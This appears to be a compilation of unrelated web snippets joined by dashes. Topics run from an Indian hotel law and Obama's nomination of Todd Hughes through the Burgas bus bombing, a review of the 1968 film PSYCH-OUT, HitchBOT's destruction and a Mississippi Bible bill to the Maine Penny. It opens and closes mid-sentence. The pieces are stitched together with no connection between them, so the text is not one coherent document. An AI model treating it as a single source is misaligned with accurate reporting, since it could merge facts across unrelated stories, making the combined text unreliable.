“documents.” Indian Sarais Act, 1887 If you get ill while living at a hotel in India, the establishment has to report it to a police station under the Sarais Act. The innkeepers are also required to “to remove all noxious vegetation on or near the sarai (hotel), and all trees and branches of trees capable of affording to thieves means of entering or leaving” the premises. -President Barack Obama nominated openly gay Justice Department attorney Todd Hughes to the U.S. Court of Appeals for the Federal Circuit on Thursday, a move that drew praise from LGBT groups. Hughes would be the first openly gay judge to sit on the federal appeals court bench if confirmed by the Senate. Chuck Wolfe, president and CEO of the Gay & Lesbian Victory Fund and Institute, issued a statement applauding Obama for the nomination. "If confirmed, Todd Hughes would become the first openly gay federal appeals court judge in U.S. history. His nomination is a testament to the expanding opportunities for openly LGBT Americans who want to serve their country, and to the president's respect for the depth of talent and experience within the LGBT community. We look forward to his confirmation by the U.S. Senate," Wolfe said. It's not the first time the president has nominated an openly gay man to the Federal Circuit Court of Appeals. In April 2010, Obama nominated Deward DuMont. After waiting more than 18 months for a confirmation hearing, however, he withdrew his nomination. Obama also nominated Raymond Chen, a lawyer in the U.S. Patent and Trademark Office, for the Court of Appeals, on Thursday. -A weekend in the Sierra de Gredos is really rewarding. You can enjoy a few days in the countryside, with snow covered mountains as background and exploring this natural landscape and towns, full of history. In this post you will discover, through my travel photography, some of the places that you should not miss on your journey through the Sierra of Gredos. There are many towns and places to explore, so I encourage you to leave a comment telling Mindful Travel’s Community your favorite place at the countryside or at the mountains. I would love to hear your choices! Oropesa Pantano de Rosarito Santuario de Chilla Castro Celta en El Raso Garganta de Alardos Atardecer en Madrigal de la Vera Puente Romano en Madrigal de la Vera Even Kiba loved it! -Ramesh Chandra (name changed) recently sold his first-floor apartment in a premium location of Jor Bagh in New Delhi. As usual, the deal was worth much more than the official circle rate for the area. But given the government’s hawk eye on black money, Chandra was wary of accepting cash to cover the difference. He arrived at a happy solution: The apartment buyer is ‘gifting’ him a luxury sedan and two expensive watches, and footing the bill for a foreign holiday for the family. Chandra’s is not a one-off case, estate agents say: it has become more of a norm than the exception. “A lot of people are opting for this route since they are scared to transact in black money,” said a senior executive of an international property consultant that has facilitated some similar deals. “Such payments are purely by choice and as per the dealing between the transacting parties,” said Anshuman Magazine, chairman and managing director, CBRE South Asia. “This route definitely helps avoid the risk of black money.” Such transactions happen in resale of land parcels and independent houses held by individuals, he added. “Combating the country’s parallel economy has been at the top of the NDA government’s agenda… such deals are a clear indication that there is substance to the government’s belief that a lot of black money is locked in the real estate sector,” a real estate expert said on the condition of anonymity. “What drives this is the huge gap between market rates and the prevailing circle rates,” said Navin Raheja, realtor and chairman of National Real Estate Development Council. “We have requested the government to look into such deals when they talk of black money in real estate.” Given the government’s hawk eye on black money, real estate buyers are footing the bill for foreign holidays, apart from giving watches, expensive cars to sellers. First Published: Dec 01, 2014 00:17 IST -Fargo Police are investigating what they believe is a credit card skimming operation. They have been receiving reports of people's credit or debit card information being used, while still having cards in their possession. Deputy Chief Joe Anderson says they believe the skimming operation is travelling through the area and may go back as far as January 2016. Fargo Police officers and detectives are investigating numerous incidents, which have resulted in multiple active cases. They say there may be multiple suspects involved. The department wants to remind people there are numerous ways criminals can obtain your credit card information. “It may be as simple as criminals finding your credit card statement in your mail or garbage, leaving your credit card unattended, hacking internet sites where you make purchases, or using a scanner to capture your credit card information.” Police say to monitor your credit and debit card activity and report unauthorized charges to your card provider. Anyone with information regarding the individuals involved should notify the Fargo Police Department at 241-5777. -The actress and newcomer Florence Pugh star in writer-director Carol Morley's dreamlike coming-of-age drama. LONDON – Maisie Williams (Game of Thrones) and newcomer Florence Pugh are starring alongside Monica Dolan, Greta Scacchi and Maxine Peake in British writer/director Carol Morley's The Falling. Morley's script, billed as a dreamlike coming of age drama, details the story of a troubled girl at the center of a mysterious fainting epidemic, who is determined to discover the cause of the malady spreading through her British all-girl school in 1969, a year when the whole world seemed poised on the brink of change. PHOTOS: 'Game of Thrones'' Most Gruesome Deaths: From Robert Baratheon to the Red Wedding The project, which begins shooting in the U.K. this week, follows Morley's BAFTA-nominated The Alcohol Years, Edge and the critically acclaimed Dreams of a Life. British sales, finance and production banner Independent Film Sales will rep the project to buyers at next month's American Film Market. The Falling is presented by BBC Films and the British Film Institute in association with Lipsync Productions. PHOTOS: 'Game of Thrones' Season 3 Premiere: Westeros Meets Hollywood A Cannon and Morley/ Independent production in association with Boudica Red, the project was developed with the BFI Film Fund and is produced by Cairo Cannon and Luc Roeg. The film is set for release 2014. Morley is an artist turned filmmaker whose first narrative feature Edge -- made on a micro budget -- was premiered at the London Film Festival in 2010. Her first documentary feature film was Dreams of a Life. -Sarafovo International Airport in Burgus Channel 10 News (Israel) At least seven people are dead - including five Israeli tourists - after a bomb detonated on a bus carrying Israeli tourists at an airport terminal in Bulgaria. The mayor of Burgas said explosives were placed in the trunk of the bus and that 33 Israeli tourists have been hospitalized while nine other Israelis are still missing, but officials have released a video of a purported suicide bomber. The Jerusalem Post reports that Israeli Prime Minister Benjamin Netanyahu said "all signs lead to Iran" and "Israel will react powerfully against Iranian terror." From the Guardian: The fatal attack comes just days after a 24-year-old Lebanese man affiliated with Hezbollah was arrested on suspicion of planning a terror attack targeting Israeli tourists, based on evidence provided to local police by Israeli intelligence. The man was found with information on tour buses carrying Israeli passengers, a list of Cypriot tourist spots favored by Israel tourists and details of Israeli airlines that fly into Cyprus, Greek newspaper Phileleftheros reported. Israel previously warned Bulgaria of the threat posed by Iran proxy Hezbollah around the second largest resort on the country's Black Sea coast after a suspicious package was found on a bus that was to carry Israeli tourists from Turkey to Bulgaria in January. Netanyahu noted that Wednesday is 18th anniversary of an Iran-sponsored attack on a Jewish center in Buenos Aires, Argentina that killed 85 people. Hezbollah denies all connection to the attack, according to Haaretz. From the Telegraph: "Shoshi", an eyewitness, told Voice of Israel Radio: "We put the bags in the trunk, and after a few minutes, the bus exploded in flames. Then we returned to the terminal, and now we are trying to determine who is missing and who is dead. People who survived the explosion escaped from the window, and could not step over the bodies. The bus was shattered on both sides." Channel 10 News (Israel) The explosion occurred at around 6 p.m. local time, about an hour after a flight arrived from Tel Aviv, according to Marcus Dysch of the Jewish Chronical. The airport has been closed and all flights from Israel to Bulgaria have been suspended. Bulgaria's EU Commissioner Kristalina Georgieva said she was "shocked and saddened by the news about the explosion," according to Dysch. Bulgaria has a Jewish community of about 7,000 and Burgas is a popular destination for Israeli tourists. Below is the latest report from Russia Today with footage from the scene: -The Board of Control for Cricket in India (BCCI) will miss the April 25 deadline to announce India’s team for the ICC Champions Trophy, it has been learnt. (FULL IPL 2017 COVERAGE) The Board will announce the team only after the ICC Board meeting, where the controversial revenue and governance reforms will be put to vote, ends on April 27. The Board has been keeping pressure on the ICC with its right to exercise the Members Participation Agreement (MPA) that gives it the right to pull out of the tournament in case of disagreement. READ | Lonwabo Tsotsobe, South Africa bowler, suspended indefinitely for match fixing While BCCI is in discussion with various boards, the discussion between BCCI and Pakistan Cricket Board (PCB) over the bilateral series issue could resume at the Asian Cricket Council (ACC) meeting to be held on Tuesday in Dubai. PCB has vehemently opposed the structure that guarantees BCCI a major share after the latter did not honour bilateral commitments. First Published: Apr 25, 2017 00:42 IST -Sidewalk surfing in California. Photo: Hamboards Skateboarding has its roots in surfing. Sometime in the 1950s when the waves were flat, surfers began attaching roller skate wheels to wood planks so that they could go “street surfing”. Early skateboards were crude, with wheels made of metal and then clay. As board designs advanced, incorporating urethane wheels and improved trucks, increasingly difficult tricks became possible. Imagine trying to ollie with these hefty wheels to land on! Then skateboarding began to give back to surfing. In the late 70s, after skateboarders were regularly launching into the air above swimming pools, surfers attempted their first aerials. Pro surfer Christian Fletcher grew up skateboarding and was an early pioneer. Others, including now 11-time world champion Kelly Slater, quickly followed suit, bringing airborne skate moves to the water. And in 2011, Zoltan Torkos was awarded $10,000 by Volcom for completing the first kickflip in surfing history. Such advanced tricks aren’t the only things skateboarding has to offer surfing. While professional surfers like Josh Kerr and John-John Florence use skateboards to hone the difficult contest manoeuvres, surf instructor Barry Green believes skating can also help the typical wave rider. Green, who runs Making the Drop surf school in Santa Cruz, California, points out that skateboarding mimics the board-body technique and timing of surfing. He says “the average novice surfer has much to gain from simple flat-ground carving turns, and smooth rail-to-rail transitions, rocking from toe edge to heel edge” on a skateboard. -My Vegan MoFo theme this year is “Go Vegan with JL…In the kitchen!” in which I reply to your questions about cooking in your vegan kitchen. (I explain a bit more about my theme and plan for my October posts here.) Today’s issue: “I don’t know how to make tofu!” I was pretty intimated by tofu when I first went vegetarian, about ten years ago. In fact, I went vegetarian while in Kenya and called my husband, who did most of the cooking in our home at the time, to tell him about this big dietary change and that I needed him to figure out tofu. Once I went vegan, and dedicated myself to becoming a solid, vegan home cook, I learned to love cooking with the flexible, chameleon-like bean curd filled with protein, calcium and iron. Here’s my laywoman’s take on preparing tofu. Firm Tofu First, you want to press the water out of the tofu. Most people wrap the tofu in towels, set it on a plate or cutting board, and place a heavy object on it, such as books or a heavy pan. I use a TofuXpress. Either way works, just press that water out of the tofu before using. The tofu is pressed. Now what? Make a marinade! You can scour vegan cookbooks and websites/blogs for great marinade recipes but why not make something that tastes good to YOU? All you need to start is a fat (olive or sesame oils) an acid (vinegar or citrus juice) spices salt (I prefer Bragg’s Liquid Aminos, but sea salt, soy and tamari sauces are good, too) garlic (not a must but I almost always use it) Then you take it from there. I have tried things like miso with date syrup and pumpkin. Tuesday I made this: -To celebrate the Summer Solstice of Movie Days Past, now we get our heads straight and taste the colors of madness. You dig this trip? Outta sight. PSYCH-OUT was released in March of 1968 by American International Pictures, produced by teen maven Dick Clark, and based on a screenplay by Jack Nicholson called THE LOVE CHILDREN, to be directed by rising maverick Richard Rush. The duo’s previous motorcycle film from 1967, HELL’S ANGELS ON WHEELS, grossed millions so they were brought in to give the hippie exploitation film counter-culture verisimilitude — and do it in 18 days with a 200 grand budget. AIP old school owner Samuel Z. Arkoff and others thought THE LOVE CHILDREN was a story about bastards, so like the carny barker at heart he was, Arkoff combined LSD with Hitchcock and came up with PSYCH-OUT. Another set of writers, E. Hunter Willett and Betty Ulius were brought in to revise Nicholson’s lengthy experimental script to a more linear AIP narrative, namely that of Jenny (Susan Strasberg), a 17 year old deaf girl searching for her artist brother in the paisley streets of San Francisco circa Summer of Love ’67. I first saw PSYCH-OUT on VHS when I was working at Broadway Video in Long Beach way back in 1992 (I was the token straight employee of the gay owned/operated movie rental place, but that’s a whole other amazing post). I was immediately mesmerized with the credits (see it here), a musical journey through the heart of the Haight at the very peak of its cultural power. Buoyed by the pretty theme song, apropos named, “The Pretty Song from Psych-Out” by the Strawberry Alarm Clock, Jenny watches this new kaleidoscopic world through her bus window. As photographed by Lazlo Kovacs’ liberated camera, Strasberg’s face radiates a child-like glee at the colorful denizens of Hippie Land and it was a wise narrative move to let her be our surrogate. Her innocence is reflected by the atmospheric music and flower people of Golden Gate Park. The location footage also provides a perfect time-capsule glimpse at the apex of the legendary love summer. I consider this whole opening section a minor film in itself; even possibly my favorite credit scene of the 60’s. Pursued by cops, Jenny stumbles into a Haight street coffee shop and is saved from The Man by one Stoney, played by Jack Nicholson in a role written for himself. Jenny finds herself drawn into the pot, bead and incense mindscape of Stoney and his band, Mumblin’ Jim (who I like to imagine had a single song that made it to number 27 on the charts: “One Big Plastic Hassle”). She’s been following the clues left behind by her brother, known only as “The Seeker” by the local heads and rednecks. The other band mates, played by AIP stalwart Adam Roarke and THE MACK star Max Julian, are joined by future director Henry Jaglom as a poster artist with the most outrageous mutton chops I’ve ever seen. Rush stages their cafe conversation in a loose, casual fashion, and there’s more verite here than almost all the exploitive hippie films of the decade. They seem like actual drop-out artists basking in coffee shop lassitude. And since the filmmakers were indeed on the fringe of the industry, their self-absorbed exuberance is palatable. I also love Roarke’s rejoinder to a friend’s too obvious pot smoking in the cafe: “Man, you are totally uncool.” Of course, what’s probably most cool about PSYCH-OUT is Jack Nicholson, in a role very much like his famous outsiders. As this was his last film before EASY RIDER would make him a star, I find this a unique, terrific performance, his method style and libertine philosophy percolating under the dewy guise of a counter-culture musician. Nicholson nails all of his dialogue, managing to rise above the exploitation elements of the film. What’s particularly interesting is that Stoney is not an idealized peace and love archetype of the era. He’s tough, cynical and pragmatic; when his band mate accuses him of seeing only dollar signs, Stoney flashes that famous Nicholson devil grin and says, “Oh, the old bad thing, the root of all evil, right?” His character wants fame and fortune, not to mention a stable of liberated partners. He’s honest about his desires, less concerned with the socio-political implications of the period. And he has a pony-tail. Credit is also overdue to Susan Strasberg in one of her few starring roles. It’s a shame that she was overshadowed not only by her famous father, Lee Strasberg, but by Marilyn Monroe, who seemed to have a stronger thespic relationship with him. Strasberg deserved better than what she was given, but she’s very appealing in PSYCH-OUT and easily matches Method with Nicholson. It’s also nice that in a movie decade not revered for its portrayals of female empowerment (Pussy Galore doesn’t quite count), that Strasberg stands out as a young girl on the cusp of womanhood. She emanates a joy of discovery, sexual and cultural, and the film is always on her side. Along her journey, Jenny ends up falling in love with Stoney, of course. But his open warmth is replaced by cold indifference after he beds her in a love scene equivalent of a 60’s blacklight poster, their nude bodies covered by swirling psychedelic colors, soundtracked by that “Pretty Theme From Psych-Out.” Stoney’s friend, Dave (Dean Stockwell) the resident guru of the group, acts as his conscience, throwing out pithy koans like a hippie Pez dispenser. Stockwell’s yin to Nicholson’s yang are fun to watch together. Their banter about art versus commerce, love versus lust, reality versus illusion are the verbal high points of the movie. There is a lot of wit here, even in the expert photography of Laslo Kovacs (singled out as the only good thing in the film by the New York Times review). My favorite moment is a long, single-take tracking shot of Stoney and his band jamming a nifty organ tune as the searching camera goes from hippie to hippie, each doing his or her own thing, capturing the boredom and malaise of the love children. Jenny finds herself disgusted by the stoned lethargy of the household and Stoney’s indifference. She finds little comfort with Dave, The Love Guru, who himself is painted as a hypocrite. The sexism of the day is still manifest, especially when Stoney shows up and gives her an ugly harangue, even though he’s the one who blew her off. Angered, she ends up taking the dangerous speed/acid drug, STP, offered by Dave, just as Stoney finds her brother Steve, played by Bruce Dern (in a wild, stringy mane wig). I like it when Dern is babbling about his fiery visions, and Nicholson cuts him off with, “You’re a little high.” But Dern gets a good scene to himself as he tells Stoney exactly how Jenny became deaf. One of the tropes of the hippie film was the inevitable psychedelic freak-out, with the best of the decade belonging to Peter Fonda’s movie-length THE TRIP (1967), followed by Jackie Gleason’s 8 minute acid fest in my beloved SKIDOO and then the Mardi Gras hallucinogenic bad trip of EASY RIDER (1969). There are three trip sequences in PSYCH-OUT: the first with Max Julian seeing himself as a knight while he beats the shit out of some junkyard rednecks. The second is Henry Jaglom having scary visions hopped up on LSD. “I’m the guy who psych-outs!” he told me when I talked to him about his role as Warren. It’s hilarious when Warren says all he has to do is snap his fingers and he can come out of it…then he snaps his fingers and without a beat says, “It’s not working this time.” Finally, Strasberg has an epic trip, effectively portrayed as a living hell, culminating with her body falling, tumbling through golden flames in a striking image. That the film ends on a bummer note is typical of the era, with the promise of Dionysus reduced to the threat of Hades. Just like THE TRIP was altered by AIP to make it seem that Fonda’s experience destroyed him (by adding cracks to the final image!), here we leave our flower children tangled in thorny vines with a tiny hope of redemption for Jenny. Or as Stoney says to Dave, “The acid has curdled and made you sour.” Despite the cultural baggage, PSYCH-OUT is actually flat-out enjoyable, moreso than you might think. If you want to be limited in your thinking, you can watch the movie to laugh at the dirty hippies. Or you can find pleasure in a team of young artists working on a budget to create a work of period artfulness that would reflect their later work. There’s also a terrific score by Ronald Stein with memorable songs by The Strawberry Alarm Clock (who I got to sign my LP soundtrack at the Mods & Rockers Film fest) and The Seeds. Anybody interested in sixties cinema can find pleasure here. When I praised PSYCH-OUT to Jaglom, he said, “But it’s still an exploitation film.” I said, “But one more honest and adventurous than the others.” And I think it is. The movie also shows the roots of the discord and violence that would reflect the less loving year of 1968. I’m also big fan of iconoclast director Richard Rush, who claims to have invented the rack-focus shot, one that alternates between the foreground figure and the background figure, except he calls it “critical focus” and it’s in ample use here. Along with Kovacs’ atmospheric lighting, Rush has a gift for framing. Sometimes he goes for obvious points, like a group of hippies outside a church who just happen to look like Jesus and his disciples, but I like the attempt to make visual metaphors into social critique. He was sympathetic, but not slavish, to the youth movement. Oddly, when PSYCH-OUT was finally released with THE TRIP on DVD under MGM’s fantastic Midnite Movie series, almost 8 minutes of footage was shorn, possibly as it might have been a better print (in fact, I saw this shorter version at the late, great University Theater in Berkeley). The cuts are unfortunate, because they’re all interesting bits of business including a whole dressing room montage and an extended version of the lovely “Beads of Innocence” scene. The coveted DVD is out of print now, so hopefully MGM will find the longer version for re-release. But purists can track down the VHS from HBO Video for the uncut version. PSYCH-OUT is an important pop movie foot-note since it was the last exploitation film of the 1960’s for many of the principals. It’s almost a cinematic graduation. Along with Nicholson on the cusp of stardom, co-stars Bruce Dern and Jaglom were about to embark on their next career phase. Richard Rush would direct the hit student-protest film, GETTING STRAIGHT (1970) for Columbia, and Nicholson, Jaglom and Kovacs would all be part of the creative team for the groundbreaking EASY RIDER. If anything, PSYCH-OUT is the missing link between AIP’s exploitation drug/motorcycle genre and the coming 70’s storm of the New Hollywood. Next to SKIDOO and EASY RIDER, it’s my favorite counter-culture film of the decade. Like this: Like Loading... Related -https://twitter.com/hitchBOT/status/627593886186254336 The 2015 HitchBOT saga is over—or, at least, the original hitchhiking robot's journey has formally concluded for now. The anthropomorphized robot equipped with cameras, microphones, speakers, and external battery chargers had set out to criss-cross the United States in July—and conduct a sort of social experiment—by asking humans to ferry it along, only to be stopped short by vandals in Philadelphia on Saturday. Not content to have its "brotherly love" reputation tarnished, some robo-minded citizens at Philadelphia hacker/maker space The Hacktory responded by offering to rebuild or repair HitchBOT and send the yellow-gloved wonder on its way. On Wednesday, the bot's co-creators at Toronto's Ryerson University responded with a polite but firm declination. "We appreciate your support," HitchBOT's team told The Hacktory in an e-mail exchange shared with Ars Technica. "Unfortunately, according to the images we have received, we believe that HitchBOT is damaged beyond repair. As such, one would be left with no starting point from which to build a new bot. We have therefore arranged for the remaining parts [discovered by HitchBOT fans] to be shipped back to us." Following that exchange, Ryerson University spokesperson Johanna VanderMaas issued a press release confirming that HitchBOT's journey was conclusively over and that alleged security-cam footage of its demise turned out to be fraudulent. VanderMaas teased tentative plans for HitchBOT to be rebuilt and go on one of two journeys in 2016: either a recreation of the original, remaining American path from Philadelphia to San Francisco or a "school-to-school" path that would ask American students to "devise robot adventures" at its every stop. The press release also remarked on the social-experiment nature of HitchBOT's journey, noting that its destruction was met by an "outpouring" of fans asking to send financial and technical support. "Even though it did end badly for HitchBOT, we’ve learned a lot about human empathy and trust," McMaster University assistant professor Dr. David Harris Smith said in the statement. "Everything we’ve learned will be borne out in the resulting research and used in future planning for HitchBOT’s adventures.” That hasn't stopped The Hacktory from moving forward with an alternate plan (with the official blessing of Philadelphia Mayor Michael Nutter no less). "This is our time to show the world how great Philly is, how much talent we have here, and break this curse of the bad reputation!" the group wrote in an announcement page for its HitchBOT mini-hackathon happening Thursday, August 6. Rather than build a replica HitchBOT, the event will have a looser objective of "creative and fun responses to this series of events," and the announcement page includes requests for specific skills and parts. While that list reads like the kind of stuff you'd put in a HitchBOT replacement, we'll just have to wait and see what Philly's craziest hackers come up with by the end of Thursday. -Please enable Javascript to watch this video JACKSON, Miss. -- Mississippi is the birthplace of William Faulkner, Richard Wright, and recent U.S. poet laureate Natasha Trethewey. However, some lawmakers say they want to look beyond the secular literary world and designate the Bible as the state book. At least two bills are being filed during this state election year to make the holy book a state symbol. One is from Republican Rep. Tracy Arnold of Booneville, who is the pastor of a nondenominational Christian church. The other is from Democratic Reps. Tom Miles of Forest and Michael Evans of Preston, who say they have promises of bipartisan support from more than 20 colleagues. In Desoto County Tuesday, most people WREG talked to thought it was a good idea and certainly couldn't do any harm. Bruce Reed of Olive Branch was in favor of the measure. "I think it would be a good idea. Everybody needs more of it...more Bible...yeah. More of the word," he said. Miles told The Associated Press on he's not trying to force religion or even reading on anyone. "The Bible provides a good role model on how to treat people," Miles said. "They could read in there about love and compassion." Lawmakers say designating the Bible as the state book would be completely symbolic and nobody would be required to read it. Furthermore, Miles' version would not specify a particular translation. "I think this is not a push of a specific religion. I think that would be wrong to do that," Pastor Chad Everson of Trinity Baptist Church in Southaven said. Pastor Everson said, political motives aside, the idea has gotten his attention. "Anyone that turns, any family, any individual, any country that turns to Christ is in much better shape. So, I think it's a good thing," Everson said. Mississippi lawmakers over the years have designated several other symbols, including the teddy bear as the state toy and milk as the state beverage. The teddy bear was named for President Theodore Roosevelt after he refused to shoot a bear tied to a tree while hunting in Mississippi. Sherry from Desoto County told us she believes the Bible should be up there with the Magnolia and mockingbird. "I like it. I think it's a good idea. God made us, so it's His word," she said. But Audrey McClain, who's moving to Mississippi from Nashville, is opposed. She said State has no business promoting religion in any form. "Even some Christians have a different perspective of what the Bible means. And as a Christian myself, I believe that it shouldn't be the State Book," she said. In 2014, Republican Gov. Phil Bryant signed a law that adds "In God We Trust" to the state seal. Legislators also begin each work day with a prayer over the microphone at the front of the House and Senate chambers, frequently with references to Jesus. It's unlikely the proposal will generate much opposition in the Legislature this election year, unless House and Senate leaders decide they don't want to spend time on symbols. Larry Wells, whose late wife, Dean Faulkner Wells, was William Faulkner's niece said Monday that if Mississippi lawmakers feel compelled to designate a state book, they should draw on the state's native talent. "It's impossible to conceive of a state abandoning its literary heritage like that," said Wells, director of a small publishing house in Oxford, Yoknapatawpha Press. "What would Faulkner and (Eudora) Welty and Shelby Foote and Richard Wright think? I think they would collectively link arms and say, 'Go back to kindergarten, Legislature.'" -President Obama told reporters at a White House news conference on Tuesday that the media ignored peaceful protests in the city until violence erupted, and gave his views on the broader problems facing American cities. “Frankly it didn’t get that much attention,” Obama said of the peaceful movement sparked by the death of black man Freddie Gray, who died in police custody. “One burning building will be looped on television over and over and over again. The thousands of demonstrators who did it the right way, I think, have been lost in the discussion.” The President added that unrest in cities like Baltimore will not go away until solutions are found beyond law enforcement. “This is not new, and we shouldn’t pretend that it’s new,” he said. “If we think we’re going to send police to do the dirty work of containing the problems that arise there — without as a nation and society saying what can we do to change those communities, to help lift up communities, and give those kids opportunity — then we’re not going to solve this problem,” he added. “We’ll go through the same cycles of periodic conflicts between the police and communities, and occasional riots in the streets. And everybody will feign concern until it goes away,” Obama added. “Then we’ll go about our business as usual.” The President said that he sensed a lot of police forces have realized “they’ve gotta get their arms around this thing and work with the community to solve the problem,” adding that his administration was looking to help. “I’m under no illusion that under this Congress we’re gonna get massive investments in urban communities,” he said, but promised to try and work with the Congress on economic solutions to help cities implement solutions. He apologized to Japanese Prime Minister Shinzo Abe for taking so much time during their joint news conference. “That was a really long answer, but I felt pretty strongly about it,” he concluded. -Young Mum’s Enthusiasm For Jeremy Corbyn Sparks Huge Reaction This young mum who urged voters to back Jeremy Corbyn after reading Labour's manifesto has generated a huge amount of reaction. Daisy told Iain the party’s promises, including the £10 per hour minimum wage, would resonate hugely with working class voters. Labour has also pledged to ban zero hour contracts to guarantee workers a “number of hours each week” as well as four new public holidays to mark national patron saints’ days. “I don’t think it reflects in the media how popular he is”, Daisy told Iain Dale. “It’s a real shame as the more people who knew about him and his policies, I think it would be a good thing.” The Conservatives have described Labour’s manifesto as “nonsensical”, but Daisy went on to explain how she’d seen a decline in public services under the current government. She added: “I’ve just had a baby, I’ve gone to my local doctors and told: ‘No, you can’t get antenatal classes now all the funding has been cut, you’ll have to pay and go private'.” Iain described Daisy's call as "one of the most convincing arguments for voting Labour" he had heard, with a number of LBC listeners also getting in touch. Watch above and see if you agree. -Via the Free Beacon, is this the first time Trump himself has delivered a version of the now obligatory “this is why you got Trump” retort by Republicans whenever Democrats overreach culturally? I’m not knocking him for it. Hillary defending the protests after she wiped out in the Rust Belt does feel like a “this is why you got Trump” moment. She said people should resist “what are very clear dog-whistles” to the Trump base, pointing to the example of kneeling NFL players. “That’s what black athletes kneeling was all about,” she said in response to a question about ways to resist the White House. ”That’s not against our anthem or our flag.” “Actually, kneeling is a reverent position,” she continued. “It was to demonstrate in a peaceful way against racism and injustice in our criminal system.” In fairness to Dems, they have their own base to please on this issue and that base, for the most part, is pro-protest. Democratic voters, young adults, and blacks all approve by wide margins… …but not as wide as the margin by which Republicans disapprove. Indies are also against the protests on balance. And whites without a college degree, the group that did more than any other to sweep Trump into the White House, disapprove overwhelmingly at 28/68. Maybe Democratic leaders should balance their pro-protest stance by introducing a new bill to make flag-burning a criminal offense. You know, like the one Hillary sponsored in 2005. The Clintons weren’t above a little flag-related pandering to bank goodwill from red-state and purple-state voters. Gotta try to play both sides in the culture war to some extent if you want to win elections. I think the Trump political dream scenario is the NFL caving and ordering the players to stand during the anthem, which would be a clear victory for the president, and then the players and the ACLU dragging this battle out by suing on First Amendment grounds when they kneel anyway and are suspended. How could they sue the government for actions taken by a private entity like the NFL? Well, since Trump has tweeted threats about tax breaks that the league receives if players don’t respect the anthem, conceivably they could argue that any suspensions they receive for defying a league “stand or else” rule are de facto state action. How do you think Trump would like that court battle, Colin Kaepernick and his allies against him and the flag? “The biggest wild card of all here is the president’s tweets,” said Marc Edelman, who teaches sports law at Baruch College in New York. “The NFL didn’t publicly voice ­opposition until baited into doing so and being threatened with financial sanctions by the president of the United States.”… If the NFL acts because of Trump’s threat to punish the league, players could legitimately claim that their First Amendment rights have been violated, said David Cole, the ACLU’s national legal director. “The courts have recognized that when government officials threaten punishment or consequences because of protected speech, that in and of itself can chill the speech, in violation of the First Amendment,” Cole said, citing a 1986 case in which a federal court sided with a challenge by Playboy Enterprises against Edwin Meese, then the U.S. attorney general, for sending letters threatening to publish a list of ­7-Eleven convenience stores that sold pornography. The obvious problem with that suit is that it’s easier to believe the league is nervous about the protests due to fans’ unhappiness than Trump’s unhappiness. POTUS can bellow threats all he wants but in the end he’d need Congress’s help to punish the NFL by revoking any tax breaks. His influence over the league has much less to do with his influence over the government than with his influence over his supporters. If 10 percent of Trump voters stop watching games at the president’s suggestion, that’s not “state action.” That’s persuasion. The public withholding its money to change corporate behavior of which it disapproves is the very definition of a boycott. Ain’t nothing illegal about that. By the way, I saw a story somewhere this morning suggesting that the Packers could solve their problem at QB now that Aaron Rodgers is out for the season by signing Kaepernick. Can you imagine Kaep quarterbacking middle America’s favorite team while fighting some sort of protest-related legal battle against the NFL and/or Trump? That’s the sort of cultural weirdness we’ve come to not just hope for but to expect in 2017. -Christopher Columbus is often remembered as the first European to discover the Americas, eventually leading to the colonization of these two continents by European powers. It is undeniable that Columbus’ voyage has earned him a place in history, however, he was not the first European to set foot in the New World. Such a title belongs to the Vikings who explored part of North America several centuries before Columbus. The Maine Penny. Credit: www.mnh.si.edu. Literary evidence for the Viking exploration of North America can be found in the Vinland Sagas . These were two Icelandic sagas written in the 13 th century regarding the Norse exploration of North America undertaken about two centuries earlier. As for archaeological evidence, the Norse presence in North America is perhaps best seen in the Viking settlement of L’Anse aux Meadows in Newfoundland, Canada. Regarding Norse artifacts, it has been claimed that of the two dozen or so objects found in North America, only one can be securely dated. This is the Maine Penny. The Maine Penny was discovered on 18 of August 1957 by an amateur archaeologist by the name of Guy Mellgren. Mellgren found the coin at the Goddard prehistoric archaeological site, which contained the remains of an old Native American settlement, at Naskeag Point, Brooklin, Maine. It was only about 20 years later, however, that the significance of the coin was revealed. In 1974, the Maine Penny, along with 20,000 (or 30,000) other artifacts discovered at the Goddard archaeological site were donated to the Maine State Museum. MORE Initially, the Maine Penny was identified as an English penny from the 12 th century, perhaps brought to Maine by English colonists. In 1978, the artifact was examined by experts from London, who speculated that the coin might have been Norse. Subsequently, an expert on Norse coins from the University of Oslo, Kolbjorn Skaare, confirmed that the Maine Penny was indeed a genuine coin from the Norse world. Furthermore, it was established that the coin was struck sometime between 1065 and 1080 during the reign of King Olaf III. The occupation of the Goddard site, however, has been dated to between 1180 and 1235. Nevertheless, the type of coin struck by Olaf III was circulating widely during the 12 th and 13 th centuries, thus placing the Maine Penny within the circulation period of such coins. Coin cited as similar to the Maine Penny. (Coin of Olaf III of Norway) Public Domain Given that the Goddard site was occupied by a Native American settlement, the presence of this Norse artifact is indeed odd. Despite the presence of the Maine Penny, subsequent excavations at the site in the 1970s failed to yield any additional Norse artifacts. This suggests that it is unlikely that the coin was brought by Vikings who travelled all the way to Maine. One plausible explanation for the presence of the coin at the Goddard site is that it was a traded object. Other artifacts from the site, such as one identified as a Dorset Eskimo burin, suggests that the Goddard site was a hub in a large Native American trade network. The Maine Penny also had a perforation for use as a pendant, perhaps indicating that the Native Americans who possessed the coin transformed its function from a form of currency to an exotic ornamental object. The lack of proper archaeological recording, however, has led some to question the provenance of the coin, believing that the Maine Penny is a hoax, perhaps deliberately planted at the site to create confusion. The experts, however, are adamant that the Maine Penny is authentic, citing the fact that this type of coin is extremely rare and valuable, and that Mellgren paid no special attention to it when he found the object. Considering the information available at present, it may perhaps never be known whether the Maine Penny found its way to the Goddard site through Viking explorers or Native American trade networks. Featured image: Painting detail, Nicholas Roerich "Guests from Overseas". Public Domain, and, Maine Penny, Credit: www.mnh.si.edu. Deriv. References Bourque, B. J., 2011. Twelve Thousand Years: American Indians in Maine. Lincoln: University of Nebraska Press. Brown, D. O., 1979, 'Expert Confirms Authenticity of Norse Penny Found in Maine’, Florence Times – Tri Cities Daily 8 February, p. 8. Hoge, R. W., 2005. Current Cabinet Activities. [Online] Available at: http://ansmagazine.com/Spring05/Cabinet Homren, W., 2009. Query: The Maine Penny. [Online] Available at: http://www.coinbooks.org/esylum_v12n50a17.html www.historychannel.com.au, 2015. Mysterious "Maine Penny" Discovered. [Online] Available at: http://www.historychannel.com.au/classroom/day-in-history/761/mysterious-maine-penny-discovered www.mnh.si.edu, 2015. Vinland Archaeology. [Online] Available at: http://www.mnh.si.edu/vikings/voyage/subset/vinland/archeo.html By Ḏḥwty -More gyms are catering to plus-size clients who want to work out but are intimidated by the types of people featured in New York Times trend pieces. (Bachelorette gym parties, 